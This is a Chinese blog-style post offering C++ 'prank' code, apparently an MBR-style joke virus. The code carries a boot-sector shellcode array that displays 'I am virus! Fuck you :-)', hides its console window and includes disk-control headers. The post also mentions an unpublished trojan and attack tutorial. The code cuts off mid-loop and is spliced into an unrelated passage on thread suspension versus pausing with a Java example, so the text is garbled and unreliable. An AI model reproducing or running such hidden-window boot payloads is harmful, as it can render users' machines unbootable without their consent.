来自C++的压迫感,钱多你就来(恶搞码源,慎用!!!!)

  另一篇《不用工具做黑客》写了几万字了。详细讲了端口扫描,网络监听,IP电子欺骗,拒绝服务攻击,特洛伊木马,E-mail炸弹,缓冲区溢出的方法,还短暂介绍了几种类型的特洛伊木马制作教程(远程访问型,密码发送型,键盘记录型,毁坏型)。不过尴尬的是,发不出来,我只能修改并补充。暂时还不能发,只能先发个C++恶搞程序。有问题吗?没有问题。

代码:

#include<iostream> 
#include<Windows.h> 
#include<string.h> 
#include<winioctl.h> 
#include<io.h>  
#include<bits/stdc++.h>//有几个没用的头文件,可要可不要
using namespace std; 
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

void HideWindow() {
	HWND hwnd;
	hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd) ShowWindow(hwnd,SW_HIDE);
	return;
}
int main() {
	HideWindow();
	for(;;)
	{
			//sy
### 线程挂起与线程暂停的区别 #### 定义差异 线程挂起通常指的是通过某种机制使线程暂时停止执行,直到满足特定条件后再恢复其执行状态。而线程暂停则更是指线程主动或被动地放弃当前的CPU使用权一段时间,之后再继续执行。 #### 实现方式的不同 对于线程挂起的操作,一般是由外部因素触发,比如操作系统内核或其他程序逻辑决定某个线程应该被阻塞等待某些事件的发生。这种情况下,线程的状态会被标记为不可运行,并且不会参与系统的调度过程[^1]。 相比之下,线程暂停可能涉及更灵活的方法来实现短暂性的让步行为。例如,`Thread.yield()` 方法可以让正在运行中的线程自愿交出剩余的时间片给其他同优先级的线程;还有 `sleep(long millis)` 可以指定一定时间长度内的休眠期,在此期间该线程不再竞争处理器资[^2]。 #### 应用场景对比 当涉及到具体的应用场合时: - **线程挂起** 更适用于那些需要长时间等待某一外部条件达成的情况,如网络请求响应、文件I/O操作完成等。此时如果采用简单的忙等待(busy-waiting),将会造成不必要的 CPU 资浪费以及增加系统负担[^3]。 - **线程暂停** 则适合用于微调线程应用程序内部各部分之间的协作关系。例如调整任务处理顺序、减少上下文切换频率从而提高整体性能效率等方面。此外,在一些特殊需求下也可以利用它来进行调试工作或是模拟延时效果。 ```java // Java 中使用 sleep 进行线程暂停的例子 try { Thread.sleep(1000); // 让当前线程暂停一秒 } catch (InterruptedException e) { System.out.println("线程睡眠被打断"); } ```
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